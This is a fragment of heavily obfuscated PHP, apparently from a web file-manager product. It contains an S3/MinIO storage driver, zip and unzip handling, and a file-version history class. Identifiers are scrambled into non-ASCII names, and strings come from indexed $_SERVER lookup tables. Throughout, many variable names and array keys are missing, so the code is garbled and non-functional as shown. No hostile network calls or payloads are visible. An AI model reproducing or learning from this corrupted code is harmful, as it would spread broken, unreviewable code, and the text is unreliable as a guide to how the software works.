folderInfo($ؾ͆, $ = false, $ = array()) { $ݚ =& $_SERVER[]; $ɸ = array($ݚ[32] => $this->pathThis($ؾ͆), $ݚ[84] => $this->getPathOuter($ݚ[8] . $ؾ͆), $ݚ[33] => $ݚ[75]); if ($) { return $ɸ; } $ɸ[$ݚ[201]] = $ɸ[$ݚ[85]] = 0; $ɸ[$ݚ[202]] = $ɸ[$ݚ[203]] = !0; if ($ؾ͆ == $ݚ[12]) { return $ɸ; } if (empty($)) { $ = $this->objectMeta(trim($ؾ͆, $ݚ[8]) . $ݚ[8]); } if (isset($[$ݚ[180]])) { $ɸ[$ݚ[201]] = $[$ݚ[180]]; } return $ɸ; } private function fileList($詝, $ܚ = '', $ס = 0) { $ =& $_SERVER[]; $ = rtrim($詝, $[8]) . $[8]; $ܮ = $this->listObjs($, null, null, $ܚ); if (!$ܮ) { return array($[82] => array(), $[83] => array()); } $ҝ = $ = array(); foreach ($ܮ[$[204]] as $) { $ʓ = $[$[32]]; if ($ʓ == $) { continue; } $ = isset($[$[76]]) ? $[$[76]] : 0; $˷ = $ == 0 && substr($ʓ, strlen($ʓ) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($ʓ, $˷, $); if ($˷) { $ҝ[] = $ʓ; continue; } $[] = $ס ? $ : $ʓ; } foreach ($ܮ[$[205]] as $) { $ҝ[] = $[$[32]]; $this->cacheMethodInfoSet($[$[32]], !0); } $this->cacheMethodInfoSet($詝, !0); return array($[82] => $ҝ, $[83] => $); } private function listObjs($ư, $ = null, $ = null, $н = null) { $ˁ =& $_SERVER[]; $ư = trim($ư, $ˁ[8]); $ӈ䲊 = empty($ư) && $ư !== $ˁ[198] ? $ˁ[12] : $ư . $ˁ[8]; return $this->client->getBucket($this->bucket, $ӈ䲊, $, $, $н, !0); } public function has($캩狱, $Ú = false, $ = true) { $ =& $_SERVER[]; $캩狱 = trim($캩狱, $[8]); $Ƌੱ = empty($캩狱) && $캩狱 !== $[198] ? $[12] : $캩狱 . $[8]; $ʛ = null; $鬈 = 500; $Թ، = $[8]; $ = $Ƣ = array(); while (!0) { $ = $this->listObjs($캩狱, $ʛ, $鬈, $Թ،); if (!$) { break; } $ʛ = $[$[206]]; $ = $[$[204]]; $϶ = $[$[205]]; if (empty($) && empty($϶)) { break; } if (count($) == 1 && $[0][$[32]] == $Ƌੱ) { break; } if ($Ú) { if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if (count($϶)) { $϶ = array_column($϶, $[32]); $Ƣ = array_merge($Ƣ, $϶); } if ($ʛ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $Ƌੱ) { return !0; } } } else { if (!empty($϶)) { return !0; } } if ($ʛ === null) { break; } } if ($Ú) { $ = array_diff($, array($Ƌੱ)); $ = count(array_unique($)); $Ƣ = count(array_unique($Ƣ)); return array($[207] => $, $[208] => $Ƣ); } return !1; } public function listAll($) { $̥ =& $_SERVER[]; $Ơ = $this->fileList($, $̥[12], !0); $˝ = array_to_keyvalue($Ơ[$̥[83]], $̥[32]); foreach ($Ơ[$̥[82]] as $ݓ) { if (is_string($ݓ)) { $˝[$ݓ] = array($̥[76] => 0); } } return $this->listAllFiles($, $˝); } public function canRead($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[209], $[210], $[211])) ? !0 : !1; } public function canWrite($) { $Ź =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($Ź[209], $Ź[210])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($ڐ, $ = '', $ = false) { $Ɩ =& $_SERVER[]; $ڐ = $ ? trim($ڐ, $Ɩ[8]) . $Ɩ[8] : $ڐ; $ = get_file_mime(get_path_ext($ڐ)); $Е = $this->client->putObject($, $this->bucket, $ڐ, $Ɩ[199], array(), $); if (!$Е) { return !1; } if ($) { return !0; } $this->cacheMethod(null, null); $Е = $this->copyFile($ڐ, $ڐ, array($Ɩ[212] => $Е[$Ɩ[213]])); return $Е ? !0 : !1; } public function fileSubstr($ړ, $, $Ҧ) { $њ = $ + $Ҧ - 1; return $this->client->getObject($this->bucket, $ړ, array($_SERVER[][214] => "\x62\x79\164\x65\x73\75{$}\x2d{$њ}")); } public function upload($, $ҙ, $ = false, $Ꙗ = REPEAT_REPLACE) { $ع =& $_SERVER[]; $ = array($ع[212] => @md5_file($ҙ)); $ = array($ع[215] => get_file_mime(get_path_ext($))); if (IO::size($ҙ) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($ҙ, $this->bucket, $, $ع[199], $, $); return !empty($) ? $this->getPathOuter($) : !1; } $ = $this->client->multiUploadObject($ҙ, $this->bucket, trim($, $ع[8]), $, $); return $ ? $this->getPathOuter($) : !1; } public function download($б, $Х) { if (!@is_dir($this->pathFather($Х)) && !IO::mkdir($this->pathFather($Х))) { return !1; } $ = $this->client->getObject($this->bucket, $б, array(), $Х); return $ !== !1 ? $Х : !1; } public function link($, $ʓ = array()) { $ʗ =& $_SERVER[]; if ($this->signVer == $ʗ[216]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $ʓ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $ʗ[8]), 3600 * 12, $this->region, array(), !0, $ʓ); } public function fileOut($, $ = false, $˛ = false, $ˌ = '') { $ߺ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $˛, $ˌ); } if (!$˛) { $˛ = $this->pathThis($); } $ = get_file_mime(get_path_ext($˛)); if ($ == $ߺ[217]) { return parent::fileOut($, $, $˛, $ˌ); } $ = array($ߺ[218] => $); if ($) { $[$ߺ[219]] = $ߺ[220] . rawurlencode($˛); } else { } $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($ꂔ, $賫 = false, $ = false, $ = '') { parent::fileOut($ꂔ, $賫, $, $); } public function fileOutImageServer($ڥ, $Տ = 250) { parent::fileOutImage($ڥ, $Տ); } public function hashMd5($Ȑ, $γ = '') { $㔕 =& $_SERVER[]; $ = $this->objectMeta($Ȑ); if (!$) { return !1; } $γ = $γ ? $γ : _get($, $㔕[221]); $γ = $γ ? $γ : _get($, $㔕[213], $㔕[12]); return $γ; } public function uploadFormData($ɘɥ, $ثĪ = 3600) { $ =& $_SERVER[]; $ = $this->pathFather($ɘɥ); $ɝ߃ = $this->client->getHttpUploadPostParams($this->bucket, $, $[199], $ثĪ); return array_merge((array) $ɝ߃, array($[182] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ݔ = gmdate($[222]); $ԝ = array(); $̈́ = $this->client->getUploadId($this->bucket, $, $ԝ); if (!$̈́) { return !1; } return array($[223] => $̈́, $[182] => $this->getHost() . $[8] . $this->pathEncode($), $[224] => $ݔ, $[94] => $); } public function multiUploadAuthData($, $ӡ = array()) { $ԙ =& $_SERVER[]; $ɟ = isset($ӡ[$ԙ[224]]) ? $ӡ[$ԙ[224]] : gmdate($ԙ[222]); $ = isset($ӡ[$ԙ[174]]) ? $ӡ[$ԙ[174]] : $ԙ[12]; $Ͻ = $ӡ[$ԙ[94]]; unset($ӡ[$ԙ[94]]); if (isset($ӡ[$ԙ[225]])) { $ӡ[$ԙ[224]] = $ɟ; return $this->listUploadParts($Ͻ, $ӡ); } $Ĉ = array($ԙ[226], $ԙ[12], $ԙ[120], $ԙ[12], "\170\55\x61\x6d\172\x2d\x64\141\x74\x65\x3a{$ɟ}", $ԙ[8] . $this->bucket . $ԙ[8] . $this->pathEncode($Ͻ) . $); if (strpos($, $ԙ[227]) === 0) { $Ĉ[0] = $ԙ[228]; } if (isset($ӡ[$ԙ[229]]) && $ӡ[$ԙ[229]] == $ԙ[230]) { $Ĉ[0] = $ԙ[230]; } $ș = implode($ԙ[231], $Ĉ); $Ҡ = base64_encode(hash_hmac($ԙ[232], $ș, $this->secret, !0)); $Ұ = $ԙ[233] . $this->accessKey . $ԙ[4] . $Ҡ; if (strpos($, $ԙ[227]) === 0) { return array($ԙ[234] => $Ұ, $ԙ[224] => $ɟ); } return $Ұ; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[]; $ك = str_replace($[235], $[12], $[$[174]]); $ܧ = $this->client->listParts($this->bucket, $, $ك); if (!$ܧ) { return !1; } unset($[$[225]], $[$[229]]); $[$[94]] = $; $ϴñ = $this->multiUploadAuthData($, $); if (empty($ϴñ)) { return !1; } return array($[234] => $ϴñ, $[224] => $[$[224]], $[236] => $ܧ); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($ۭ) { $Ęٔ = $this->objectMeta($ۭ); return $Ęٔ ? $Ęٔ[$_SERVER[][76]] : 0; } public function info($ߍ) { if ($this->isFolder($ߍ)) { return $this->folderInfo($ߍ); } else { if ($this->isFile($ߍ)) { return $this->fileInfo($ߍ); } } return !1; } public function exist($٣) { return $this->isFile($٣) || $this->isFolder($٣); } public function isFile($է) { return !$this->isFolder($է) && $this->objectMeta($է); } public function isFolder($ݐ) { return $this->cacheMethod($_SERVER[][165], $ݐ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$[221]]) && isset($[$[237]])) { $[$[221]] = $[$[237]]; } } catch (Exception $圧) { $ = !1; } if (!$) { } return $; } protected function _isFolder($ꍡ) { $뽃 =& $_SERVER[]; $ꍡ = rtrim($ꍡ, $뽃[8]); if ($ꍡ == $뽃[12] || $ꍡ == $뽃[8]) { return !0; } $Ҋ = $this->client->getBucket($this->bucket, $ꍡ, null, 1); if (empty($Ҋ[$뽃[204]])) { return !1; } $ɜ = $Ҋ[$뽃[204]][0][$뽃[32]]; return stripos($ɜ, $ꍡ . $뽃[8]) === 0 ? !0 : !1; if (substr($ɜ, -1) == $뽃[8]) { return !0; } if (get_path_this($ɜ) == get_path_this($ꍡ)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ϵ) { parent::__construct($ϵ); $this->signatureVersion($_SERVER[][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto CIJ; F◝: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $ۅ; if ($ۅ) { return $ۅ; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($Ƈ) { return self::local()->iconvSystem($Ƈ); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $۪ = "\172\151\x70", $ʭɟ = '', $ = REPEAT_RENAME) { $Ɂ =& $_SERVER[]; $Ð = IO::listPath($); if (!$Ð) { return !1; } $Ð = array_merge($Ð[$Ɂ[82]], $Ð[$Ɂ[83]]); return self::zip($Ð, $۪, $ʭɟ, $); } public static function zip($, $ = "\x7a\x69\x70", $ = '', $ = REPEAT_RENAME) { $殻 =& $_SERVER[]; if (is_string($) && $) { $ = array(array($殻[84] => $)); } $ߵغ = self::init($[0][$殻[84]]); $ = self::info($[0][$殻[84]]); $NJ = $殻[12]; $ = $殻[12]; $é = $殻[12]; if ($ && substr($, -1, 1) != $殻[8]) { $ = get_path_father($); $é = get_path_this($); } else { $ = self::pathFather($[$殻[84]]); $é = $[$殻[32]] . $殻[10] . $; if (count($) > 1) { $ = IO::info($); $é = $[$殻[32]] . $殻[10] . $; } if ($) { $ = $; } } if ($ߵغ->getType() == $殻[106]) { $ڲ = self::init($); $ = $ڲ->getType() == $殻[106] ? $ : get_path_father($ߵغ->path); $ = rtrim($, $殻[8]) . $殻[8]; mk_dir($); } else { $NJ = TEMP_FILES . $殻[1185] . time() . rand_string(8) . $殻[8]; mk_dir($NJ); file_put_contents($NJ . $殻[1186], $殻[12]); $ = $NJ; } $泝 = IO::info($); if (!$泝 || !$泝[$殻[203]]) { show_json(LNG($殻[1187]), !1); } $ = self::zipFileList($, $NJ); foreach ($ as $ޛ => $) { $[$ޛ] = self::iconvSystem($); } $֣ = get_filename_auto($ . $é, $殻[12], $); KodArchive::create(self::iconvSystem($֣), $); if (!IO::exist($֣)) { if ($NJ) { del_dir($NJ); } show_json(LNG($殻[1188]), !1); } if (!$NJ) { return $֣; } $˯ = self::move($֣, $, $); if ($NJ) { del_dir($NJ); } if (!$֣) { show_json(LNG($殻[1188]), !1); } return $˯; } public static function unzip($ì, $隰, $ = "\x2d\x31", $Џ = "\162\145\x70\x6c\x61\x63\145") { $砩ɡ =& $_SERVER[]; $ = parent::info($ì); if (!$) { show_json(LNG($砩ɡ[1189]), !1); } $і = IO::infoFull($隰); if (!$і) { $隰 = IO::mkdir($隰); } if (isset($і[$砩ɡ[402]]) && trim($і[$砩ɡ[84]], $砩ɡ[8]) != trim($隰, $砩ɡ[8])) { $ = KodIO::make($і[$砩ɡ[432]]); $Ț = IO::fileNameAuto($, $і[$砩ɡ[32]], REPEAT_RENAME_FOLDER, !0); $隰 = IO::mkdir($ . $Ț); } $ = $ && $ != $砩ɡ[1190] ? @json_decode($, !0) : -1; $˘Ź = self::unzipPart($ì, $); if (!$˘Ź || !IO::exist($˘Ź[$砩ɡ[200]])) { show_json(LNG($砩ɡ[105]), !1); } $ل = $˘Ź[$砩ɡ[1191]][count($˘Ź[$砩ɡ[1191]]) - 1]; if ($ل[$砩ɡ[1192]] == -1 || substr($ل[$砩ɡ[32]], -1, 1) == $砩ɡ[8]) { $ٚ = $˘Ź[$砩ɡ[1193]] . rand_string(10) . $砩ɡ[8]; mk_dir($ٚ); $ = count($˘Ź[$砩ɡ[1191]]) == 1 ? IO::ext($ì) : get_path_ext($˘Ź[$砩ɡ[200]]); $åꔧ = KodArchive::extract(self::iconvSystem($˘Ź[$砩ɡ[200]]), $ٚ, $ل[$砩ɡ[1192]], $Ț, $); self::unzipErrorCheck($åꔧ, array($砩ɡ[1194], $ì, $, $隰, $˘Ź)); Hook::trigger($砩ɡ[1195], $ٚ); recursion_dir($ٚ, $Ւ, $, 0); $ = array_merge($Ւ, $); $ݣ = array(); foreach ($ as $) { $ = IO::move(self::iconvApp($), $隰, $Џ); if ($) { $ݣ[] = $; } } del_dir($ٚ); } else { $ = IO::move($˘Ź[$砩ɡ[200]], $隰, $Џ, get_path_this($ل[$砩ɡ[32]])); if ($) { $ݣ[] = $; } } return $ݣ ? $ݣ : !1; } public static function unzipList($) { $Δ =& $_SERVER[]; $ = isset($[$Δ[1196]]) ? $[$Δ[1196]] : !1; $ܦ = isset($[$Δ[1192]]) ? @json_decode($[$Δ[1192]], !0) : -1; $ɪ = self::unzipPart($[$Δ[84]], $ܦ); if (!$ɪ || !IO::exist($ɪ[$Δ[200]])) { show_json(LNG($Δ[105]), !1); } $ɻ݄ = $ɪ[$Δ[1191]][count($ɪ[$Δ[1191]]) - 1]; $ȢΊ = in_array(IO::ext($ɪ[$Δ[200]]), array($Δ[313], $Δ[1197], $Δ[1198], $Δ[1199], $Δ[1200], $Δ[1201])); if (!$ && ($ɻ݄[$Δ[1192]] == -1 || $ȢΊ)) { $ͻ = $ɪ[$Δ[1193]] . get_path_this($ɪ[$Δ[200]]) . $Δ[1202]; if (!IO::exist($ͻ)) { $ٱՔ = $ɻ݄[$Δ[1192]] == -1 ? get_path_ext(IO::pathThis($[$Δ[84]])) : get_path_ext($ɪ[$Δ[200]]); $ŭߧ = KodArchive::listContent(self::iconvSystem($ɪ[$Δ[200]]), !0, $ٱՔ); self::unzipErrorCheck($ŭߧ, array($Δ[1203], $, $ɪ)); @file_put_contents($ͻ, json_encode($ŭߧ[$Δ[1204]])); } return @json_decode(IO::getContent($ͻ), !0); } IO::fileOut($ɪ[$Δ[200]], $, get_path_this($ɻ݄[$Δ[32]])); die; } private static function zipFileList($, $ = false) { $ߋ =& $_SERVER[]; $ = array(); foreach ($ as $ɾ) { $ = $ɾ[$ߋ[84]]; if ($) { $ = self::copy($ɾ[$ߋ[84]], $, $ߋ[817]); } else { $ = self::init($ɾ[$ߋ[84]]); if ($->getType() == $ߋ[106]) { $ = $->path; } } if ($ && self::local()->exist($)) { $[$ɾ[$ߋ[84]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($ߋ[1167]), !1); } private static function localFilePath($) { $ښʬ =& $_SERVER[]; $ = KodIO::parse($); if ($[$ښʬ[33]] == KodIO::KOD_SOURCE) { $΄ = Model($ښʬ[824])->fileInfoGet(KodIO::sourceID($)); if (!$΄[$ښʬ[84]]) { show_json($ښʬ[1205], !1); } $ = $΄[$ښʬ[84]]; } $ = self::init($); if ($->pathParse[$ښʬ[1153]]) { $ = $->pathParse[$ښʬ[1153]]; $ = self::init($); } $ = $->getType(); if ($ == $ښʬ[106] || $ == $ښʬ[1206]) { if (!$->exist($->path)) { show_json(LNG($ښʬ[105]), !1); } return $->path; } return !1; } public static function unzipPart($ۭ, $ = -1) { $ =& $_SERVER[]; $ = IO::pathThis($ۭ); if (!$ || $ == -1) { $ = array(array($[32] => $, $[1192] => -1)); $[0][$[1207]] = $[0][$[32]]; } else { if (is_array($)) { $ = $; $ = count($) - 1; for ($Ԫ = 0; $Ԫ <= $; $Ԫ++) { $ = $[$Ԫ]; $ܔ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1208]); $[$Ԫ][$[1207]] = $[1209] . intval($[$[1192]]) . $[386] . $ܔ; if ($Ԫ == 0) { continue; } $[$Ԫ][$[1207]] = $[$Ԫ - 1][$[1207]] . $[1210] . $[$Ԫ][$[1207]]; } } } if (!is_array($) || count($) == 0) { return !1; } $֩۬ = $[count($) - 1]; if (!IO::exist($ۭ)) { return !1; } $ = TEMP_FILES . $[1211] . kodIO::hashPathSafe($ۭ) . $[8]; $ = $ . $֩۬[$[1207]]; mk_dir($); file_put_contents(TEMP_FILES . $[1186], $[12]); if (IO::exist($)) { return array($[200] => $, $[1191] => $, $[1193] => $); } $ҧ = self::localFilePath($ۭ); if (!$ҧ) { $ҧ = $ . $[1212]; if (!IO::exist($ҧ)) { self::copy($ۭ, $, !1, get_path_this($ҧ)); } } if (!$ҧ || !IO::exist($ҧ)) { return !1; } if ($֩۬[$[1192]] == -1) { return array($[200] => $ҧ, $[1191] => $, $[1193] => $); } $ćڭ = $ҧ; foreach ($ as $Ԫ => $) { if (!$ || $[$[1192]] == $[1190]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $՛ = in_array(get_path_ext($[$[1207]]), array($[313], $[1197], $[1198], $[1199], $[1200], $[1201])); $ = $Ԫ == count($) - 1 && $՛; $ʹ = $ . $[$[1207]]; $ϑ = $ . get_path_this($[$[32]]); if (IO::exist($ʹ)) { $ćڭ = $ʹ; continue; } $ֽ = $Ԫ == 0 ? get_path_ext($) : get_path_ext($ćڭ); $ƊЛ = KodArchive::extract(self::iconvSystem($ćڭ), $, $[$[1192]], $˱, $ֽ); self::unzipErrorCheck($ƊЛ, array($[1213], $ۭ, $, $, $ʹ)); if (IO::exist($ϑ)) { IO::rename($ϑ, get_path_this($ʹ)); } $ćڭ = $ʹ; } $ = $ćڭ; return array($[200] => $ćڭ, $[1191] => $, $[1193] => $); } private static function unzipErrorCheck($̹, $ = false) { $ۏ =& $_SERVER[]; if ($̹[$ۏ[1214]]) { return !0; } write_log(array($ۏ[1215], $̹, $), $ۏ[1216]); show_json($ۏ[1217] . json_encode($̹[$ۏ[1204]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ś = $GLOBALS[$[6]][$[89]]; if ($ś[$[1218]] != 1) { return; } if ($ś[$[1219]] <= 0) { return; } if (isset($_REQUEST[$[1220]]) && $_REQUEST[$[1220]] == $[88]) { return; } Hook::bind($[1221], $[1222]); Hook::bind($[1223], $[1224]); Hook::bind($[1225], $[1226]); Hook::bind($[1227], $[1228]); Hook::bind($[1229], $[1230]); Hook::bind($[1231], $[1232]); } public static function eventBeforeUpload($חʻ) { if ($חʻ[3] && $חʻ[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($חʻ[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($ү, $, $ڜ, $Դ, $, $ϊ) { $ =& $_SERVER[]; if (isset($ڜ->_data[$[1157]]) && $ڜ->_data[$[1157]]) { return; } $ֹۦ = $ڜ->getPathOuter($Դ); $ʆɮ = self::parsePath($ֹۦ); if (!$ʆɮ) { return; } self::add($ʆɮ); } public static function eventBeforeRename($) { $ᅢ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$ᅢ[33]] == $ᅢ[200]) { $ = self::listData($); if ($ && $[$ᅢ[369]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$ᅢ[84]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::parsePath($[1]); if (!$) { return; } $淴 = $[3]; $̆ = self::checkInHistory($); if (!$̆) { return; } $ɹ = self::pathHistory($); if ($̆[$[33]] == $[200]) { $ɩ = self::listData($); $✥ = rtrim($, $[8]) . $[8] . ($淴 ? $淴 : get_path_this($)); $ړ = self::listData($✥); if ($ɩ && $ɩ[$[369]] && $ړ && $ړ[$[369]]) { return self::clear($); } if ($ɩ && $ɩ[$[369]]) { self::moveHistory($, $淴, $ɹ); } } else { IO::move($̆[$[84]], $ɹ, !1, $淴); self::clearEmptyFolder(IO::pathFather($̆[$[84]])); } } public static function eventAfterRemove($, $ճ) { $Я謨 =& $_SERVER[]; if (!$ճ) { return; } $ɔ = self::parsePath($[0]); if (!$ɔ) { return; } $ = self::checkInHistory($ɔ); if (!$) { return; } if ($[$Я謨[33]] == $Я謨[200]) { $֬ = self::listData($ɔ, !1); if ($֬ && $֬[$Я謨[369]]) { self::clear($ɔ, !1); } } else { IO::remove($[$Я謨[84]]); self::clearEmptyFolder(IO::pathFather($[$Я謨[84]])); } } private static function checkInHistory($ҳޘ) { $ = self::pathHistory($ҳޘ); if (!IO::exist($)) { $ .= $_SERVER[][1233]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($Ű) { $ڟ =& $_SERVER[]; if (!$Ű) { return !1; } if ($GLOBALS[$ڟ[1234]]) { return; } $ӏ = KodIO::parse($Ű); $ = $ӏ[$ڟ[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$ӏ[$ڟ[1235]]) { return !1; } if (substr($Ű, 0, strlen(DATA_PATH . $ڟ[1236])) == DATA_PATH . $ڟ[1236]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($Ű); if ($->pathParse[$ڟ[1153]]) { return self::parsePath($->pathParse[$ڟ[1153]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $Ջ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $ڟ[1237]); foreach ($Ջ as $) { if (!$ && substr($Ű, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$ڟ[1148]] . $ڟ[1238] . $Ű); return $Ű; } private static function pathHistory($؊٢) { $ =& $_SERVER[]; $Ͱ = self::$_historyBase . ltrim(KodIO::clear($؊٢), $[8]); $Ͱ = str_replace(array($[1239]), array($[1240]), $Ͱ); return $Ͱ; } public static function log($) { } public static function historyCount($˨) { $ =& $_SERVER[]; $ = array(); $˺č = array(); foreach ($˨ as $ֱܱס) { $愣 = get_path_father($ֱܱס); if (!$˺č[$愣]) { $˺č[$愣] = array(); } $˺č[$愣][] = get_path_this($ֱܱס); } foreach ($˺č as $愣 => $И) { $ = self::parsePath($愣); if (!$) { continue; } foreach ($И as $) { $ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ && $[$[369]]) { $[rtrim($愣, $[8]) . $[8] . $] = count($[$[369]]); } } } return $; } public static function add($) { $Ńֶǝ =& $_SERVER[]; $Ŵա = self::listData($); if (!$Ŵա) { return; } $ = Model($Ńֶǝ[769])->get($Ńֶǝ[1241]); $嗍 = $GLOBALS[$Ńֶǝ[6]][$Ńֶǝ[89]][$Ńֶǝ[1219]]; $ = $ == $Ńֶǝ[1242] ? min(5, $嗍) : $嗍; if ($嗍 <= 0) { return; } $ֹ = IO::info($); $屔 = $Ŵա[$Ńֶǝ[369]]; if ($ֹ[$Ńֶǝ[76]] == 0) { return; } if ($ֹ[$Ńֶǝ[76]] >= 1024 * 1024 * 500) { return !1; } $靠 = IO::hashSimple($); if ($屔 && $屔[0][$Ńֶǝ[177]] == $靠) { return !0; } if (array_key_exists($Ńֶǝ[203], $ֹ) && !$ֹ[$Ńֶǝ[203]]) { return !1; } $ҡ = short_id(time()); $ = array($Ńֶǝ[399] => $ҡ, $Ńֶǝ[177] => $靠, $Ńֶǝ[32] => $ֹ[$Ńֶǝ[32]] . $Ńֶǝ[10] . date($Ńֶǝ[1243]) . rand_string(1), $Ńֶǝ[76] => $ֹ[$Ńֶǝ[76]], $Ńֶǝ[454] => USER_ID, $Ńֶǝ[201] => time(), $Ńֶǝ[1244] => $Ńֶǝ[12]); IO::mkdir($Ŵա[$Ńֶǝ[1245]]); $ = IO::copy($, $Ŵա[$Ńֶǝ[1245]], !1, $[$Ńֶǝ[32]]); if (!$) { self::clearEmptyFolder($Ŵա[$Ńֶǝ[1245]]); return !1; } array_unshift($屔, $); if (count($屔) > $) { $ = array_slice($屔, $); foreach ($ as $) { IO::remove($Ŵա[$Ńֶǝ[1245]] . $[$Ńֶǝ[32]]); } $屔 = array_slice($屔, 0, $); } return self::saveData($Ŵա[$Ńֶǝ[1246]], $屔); } public static function remove($ۧ, $) { $ =& $_SERVER[]; $ܐ = self::listData($ۧ); $ا = array(); if (!$ܐ) { return !1; } foreach ($ܐ[$[369]] as $) { if ($[$[399]] == $) { IO::remove($ܐ[$[1245]] . $[$[32]]); continue; } $ا[] = $; } return self::saveData($ܐ[$[1246]], $ا); } public static function clear($՜˃, $ = true) { $ =& $_SERVER[]; $ = self::listData($՜˃, $); if (!$) { return !1; } foreach ($[$[369]] as $ͩު) { IO::remove($[$[1245]] . $ͩު[$[32]]); } return self::saveData($[$[1246]], array()); } public static function moveHistory($, $ = '', $ʃ = '') { $ =& $_SERVER[]; $ = self::listData($, !1); if (!$ || !$[$[369]]) { return !1; } $ = $[1233]; $ = $ ? $ : get_path_this($); $ʃ = $ʃ ? $ʃ : $[$[1245]]; $ = substr(get_path_this($[$[1246]]), 0, -strlen($)); foreach ($[$[369]] as $ => $株) { $ = $ . substr($株[$[32]], strlen($)); $ = IO::move($[$[1245]] . $株[$[32]], $ʃ, !1, $); if ($) { $[$[369]][$][$[32]] = $; } } $[$[1246]] = IO::move($[$[1246]], $ʃ, !1, $ . $); self::saveData($[$[1246]], $[$[369]]); self::clearEmptyFolder($[$[1245]]); } public static function rollback($Ѿ, $ӥ) { $҅ =& $_SERVER[]; $Ւ = self::listData($Ѿ); if (!$Ւ) { return; } $כ = IO::info($Ѿ); foreach ($Ւ[$҅[369]] as $ => $҅) { if ($҅[$҅[399]] == $ӥ) { self::add($Ѿ); $ݽ = $Ւ[$҅[1245]] . $҅[$҅[32]]; $ = IO::copy($ݽ, IO::pathFather($Ѿ), REPEAT_REPLACE, $כ[$҅[32]]); if ($) { self::remove($Ѿ, $ӥ); } return $; } } return !1; } public static function setDetail($, $, $ۧ؊) { $ݣ =& $_SERVER[]; $ɮ = self::listData($); if (!$ɮ) { return; } foreach ($ɮ[$ݣ[369]] as $Ɨػ => $) { if ($[$ݣ[399]] == $) { $ɮ[$ݣ[369]][$Ɨػ][$ݣ[1244]] = $ۧ؊; self::saveData($ɮ[$ݣ[1246]], $ɮ[$ݣ[369]]); return !0; } } return !1; } public static function fileInfo($؉ϊ, $) { $ =& $_SERVER[]; $˦ = self::listData($؉ϊ); if (!$˦) { show_json(LNG($[105]), !1); } $ϓĥ = $[12]; foreach ($˦[$[369]] as $Ľ => $) { if ($[$[399]] != $) { continue; } $ϓĥ = $˦[$[1245]] . $[$[32]]; break; } if (!$ϓĥ) { show_json(LNG($[105]), !1); } return IO::info($ϓĥ); } public static function fileOut($、, $, $Ø = false) { $͞ =& $_SERVER[]; $Ƀ = self::fileInfo($、, $); $ݹ =& $GLOBALS[$͞[7]]; $Ø = isset($ݹ[$͞[1196]]) && $ݹ[$͞[1196]] == 1; if (isset($ݹ[$͞[33]]) && $ݹ[$͞[33]] == $͞[1247]) { return IO::fileOutImage($Ƀ[$͞[84]], $ݹ[$͞[1248]]); } IO::fileOut($Ƀ[$͞[84]], $Ø, get_path_this($、)); } public static function listData($ݪ, $ = true) { $膸 =& $_SERVER[]; if ($ && !IO::exist($ݪ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($ݪ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($ݪ); $ё = array($膸[1246] => $ . $膸[1233], $膸[1245] => rtrim(get_path_father($), $膸[8]) . $膸[8], $膸[369] => array()); $ = IO::getContent($ё[$膸[1246]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $ё[$膸[369]] = $; } } return $ё; } private static function saveData($ؿ, $ŀ) { $¿ =& $_SERVER[]; self::log($¿[1249] . $ؿ . $¿[71] . count($ŀ), $¿[750]); if ($ŀ) { return IO::setContent($ؿ, json_encode($ŀ)); } $˧Ֆ = IO::pathFather($ؿ); IO::remove($ؿ); self::clearEmptyFolder($˧Ֆ); return !0; } public static function clearEmptyFolder($ˁ) { $ƭآ =& $_SERVER[]; if 